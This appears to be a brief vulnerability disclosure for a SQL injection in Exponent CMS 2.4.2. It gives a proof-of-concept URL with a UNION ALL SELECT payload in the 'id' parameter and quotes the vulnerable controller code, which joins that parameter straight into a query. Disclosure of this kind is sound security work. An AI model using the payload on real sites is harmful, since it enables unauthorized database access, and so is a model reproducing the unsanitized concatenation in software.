Exponentcms Exponent CMS → 2.4.2

http://xx.com/source_selector.php?controller=company&action=show
&id=1' UNION ALL SELECT 1,user(),1,1,1,1,1,1,1,1%23

In framework/modules/companyController.php

    function show()
    {
//        global $db, $user, $router;
        global $user, $router;
        //eDebug($this->params,true);
        expHistory::set('viewable', $this->params);

        $count_sql_start = 'SELECT COUNT(DISTINCT p.id) as c FROM '.DB_TABLE_PREFIX.'_product p ';

        $sql_start  = 'SELECT DISTINCT p.* FROM '.DB_TABLE_PREFIX.'_product p ';
        //$sql = 'JOIN '.DB_TABLE_PREFIX.'_product_storeCategories sc ON p.id = sc.product_id ';
        $sql = 'WHERE ';
        if (!$user->isAdmin()) $sql .= '(p.active_type=0 OR p.active_type=1) AND ' ;
        //$sql .= 'sc.storecategories_id IN (';
        //$sql .= 'SELECT id FROM '.DB_TABLE_PREFIX.'_storeCategories WHERE rgt BETWEEN '.$this->category->lft.' AND '.$this->category->rgt.')';
        $sql .=  'p.companies_id=' . $this->params['id'];
        $sql .=  ' AND p.parent_id = 0';

        $count_sql = $count_sql_start . $sql;
        $sql = $sql_start . $sql;
        //eDebug($sql);
        $order = 'id'; //$this->config['orderby'];
        $dir = 'DESC'; //$this->config['orderby_dir'];

I can control $this->params['id'],I can use this parameter for sql injection
IN

Line 118:

        assign_to_template(array(
            'record'=>new company($this->params['id']),
            'page'=>$page,
            'defaultSort'=>$defaultSort
        ));